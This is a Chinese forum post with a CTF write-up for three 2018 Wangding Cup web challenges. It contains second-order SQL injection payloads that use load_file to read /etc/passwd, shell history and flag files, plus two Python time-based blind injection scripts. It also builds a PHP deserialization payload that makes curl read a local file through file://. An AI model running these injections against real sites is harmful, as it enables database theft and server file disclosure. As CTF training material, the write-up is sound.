roger 发表于 2020-7-8 20:22:18

王鼎杯wdb_2018_web_unfinish

                                                                                        题目链接:https://www.xuenixiang.com/ctfexercise-competition-442.html
0x01 Comment  扫目录,源码泄露
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>
  很明显的二次注入~~
comment模块中的$category 是直接从board中取出数据,没有过滤就直接放入sql语句中了~~
其中我们$category和$content都可控~~
坑  这道题目有个坑,大家需要注意一下
$sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
  这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接~~
我们拼接的语句如下~~
$sql = "insert into comment
            set category = '123',content=user(),/*',
                content = '*/#',
                bo_id = '$bo_id'";
  payload:
category : 123',content=(select( load_file('/etc/passwd'))),/*
留言内容为:*/#


  我们学习一下师傅们的思路,首先我们先读取/etc/passwd,就可以得知www用户的目录。
然后读history文件:/home/www/.bash_history


[*]先在/tmp目录下解压压缩包
[*]然后删除压缩包
[*]再将html目录复制到/var/www/目录下
[*]切换到/var/www/html,然后删除.DS_Store
[*]但是并没有删除/tmp/html 目录下的,所以我们可以读取此文件~~
  payload: 123', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
  这儿由于文件太大,不能完全显示,所以我们用十六进制编码,然后找个网站解码就行了~~
  发现文件名flag_8946e1ff1ee3e40f.php
payload:123', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
0x02 Unfinish  题目如下
发现就一个登陆页面,于是尝试探测是否存在 register.php 注册页面。发现存在,立即注册登陆,并查看。
登陆的时候用到的是邮箱和密码,而注册的时候还有一个用户名,而这个用户名却在登陆后显示了,所以我们考虑用户名这里可能存在 二次注入 。
这儿直接贴出exp:
#encoding=utf-8
import requests
import json
import time
url = "http://5f3c0c6d-bc99-490e-8db2-f079bfb932dd.node3.buuoj.cn/register.php"
database = ""
hex_database = ""
i = -1
while i > -10:
    for j in range(30,148):
      j = chr(j)
      k = j.encode('hex')
      username = "'^(casehex(mid((select * from flag limit 1 offset 0) from "+str(i)+")) when '"+k+hex_database+"' then sleep(3) else 'b' end)+'0"
      #username = "'^(case hex(mid(database() from -1)) when 65then 1 else abs(-9223372036854775808) end)-- -"
      # mid(database() from -1) 输出最后一位 mid(database() from -2)    输出最后两位,不同 用to, 过滤掉ascii时,也可以使用hex
      print username
      data = {                                    #这儿是特殊情况,需要使用json.dumps
            "username":username,
            "password":"1",
            "email":"222@qq.com"
      }
      #print username
      #data = json.dumps(data)
      st= time.time()
      r = requests.post(url,data=data,timeout=100)
      #print r.text
      #print r.text
      if time.time()-st>2:
            #print(j)
            database = j + database                           #这儿的j是字母
            hex_database = k + hex_database                     #这儿的k是字母对应的hex
            print database
            break
    i = i - 1
  我才用的是hex 时间盲注,由于题目中过滤了逗号,而且我们注入的字段在第二个字段,总共三个,所以只好拼接字符串~~
0x03 Fakebook  先扫目录,user.php源码泄露
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
      $this->name = $name;
      $this->age = (int)$age;
      $this->blog = $blog;
    }

    function get($url)
    {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      $output = curl_exec($ch);
      $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
      if($httpCode == 404) {
            return 404;
      }
      curl_close($ch);

      return $output;
    }
    public function getBlogContents ()
    {
      return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
      $blog = $this->blog;
      return preg_match("/^(((http(s?))\:\/\/)?)(+\.)+{2,6}(\:+)?(\/\S*)?$/i", $blog);
    }
}
  我们继续往后看~~
我们在view.php发现注入点~~
直接dump下来~~
exp:
# encoding:utf-8
import hashlib
import requests
import re
import time
import string


characters = string.ascii_letters + string.digits
max_length = 200
target = 'http://7f43730c-17ff-4264-bafe-d711fce0499c.node3.buuoj.cn/view.php?no='
cur_database = "-1/**/union/**/select 1,/**/(case/**/when/**/(mid((select/**/group_concat(schema_name/**/separator'@')/**/from/**/information_schema/**/./**/schemata)/**/from/**/{0}/**/for/**/1)='{1}')/**/then/**/sleep(4)/**/else/**/1/**/end),3,4-- -"


def get(payload):
    flag = ''
    for i in range(1, max_length):
      next_position = False
      for char in characters+"_{}#-%();:":
            payload_ = payload.format(str(i), char)
            print("payload为:%s"%payload_)
            try:
                r = requests.get(target+payload_, timeout=3)
                r.encoding = 'utf-8'
                #print("响应为:%s"%r.text)
                time.sleep(0.1)
            except requests.exceptions.ReadTimeout:
                flag += char
                print(flag)
                next_position = True
                break
      if not next_position:
            return flag


# 指定数据库,获取其下全部表名
def get_table(database):
    for i in range(0,5):
      print("正在查询数据库" + database + "中的表")
      payload = "-1 union/**/select 1, (case when (substring((" \
               "select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
               "from {0} for 1)='{1}') " \
               "then sleep(4) else 1 end),3,4-- -"
      table = get(payload)
      print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
      get_col(table)

      if not table:
            print('数据库'+database+'中的表查询完毕')
            break




# 查字段
def get_col(table):
    columns = "";
    for i in range(0, 5):
      print("正在查询表" + table + "中的字段")
      payload = "-1 union/**/select 1,( case when (substring((" \
            "select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
            "from {0} for 1)='{1}') " \
            "then sleep(4) else 1 end),3,4-- -"
      column = get(payload)
      print("表" + table + "的第" + str(i+1) + "个字段为" + column )
      # print(column)
      columns+=column+'   '
      if not column:
            print("表" + table + "中的字段查询完毕   "=columns)
            break


# 作为单独的模块使用吧,获取字段详细信息
def result(column, table):
    for i in range(0, 5):
      payload = "-1'and (select case when (substring((select "+column+" from "+table+" limit 1 offset " + str(i)+ ") from {0} for 1)='{1}') " \
          "then sleep(4) else 1 end) #"
      print(get(payload))


if __name__ == "__main__":
    #database1 = get(cur_database)
    table1 = get_table('fakebook')
    #result("password", "user")
  我们发现data字段为一个序列化的内容,根据网站内容,我们大致可以知道,网站将我们的信息序列化存在数据库中,然后在view.php页面中再发序列化读取数据,而且有展示博客信息的功能,而我们的博客在注册是就序列化存在了数据库中~~
我们扫描目录的时候又有一个flag.php的页面,结合上面泄露的源码,我们知道php_curl可以访问本地文件~~
我们在尝试注入的时候页面报错,直接给了网站根目录的绝对地址~~
并且通过测试发现,数据库共有四个字段,blog在第四个字段,以序列化的方式存储~~
?no=0 union/**/select 1,(select data from users),2,3
那么我们构造序列化内容就行了~~
payload:/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
                                                                                       
页: [1]
查看完整版本: 王鼎杯wdb_2018_web_unfinish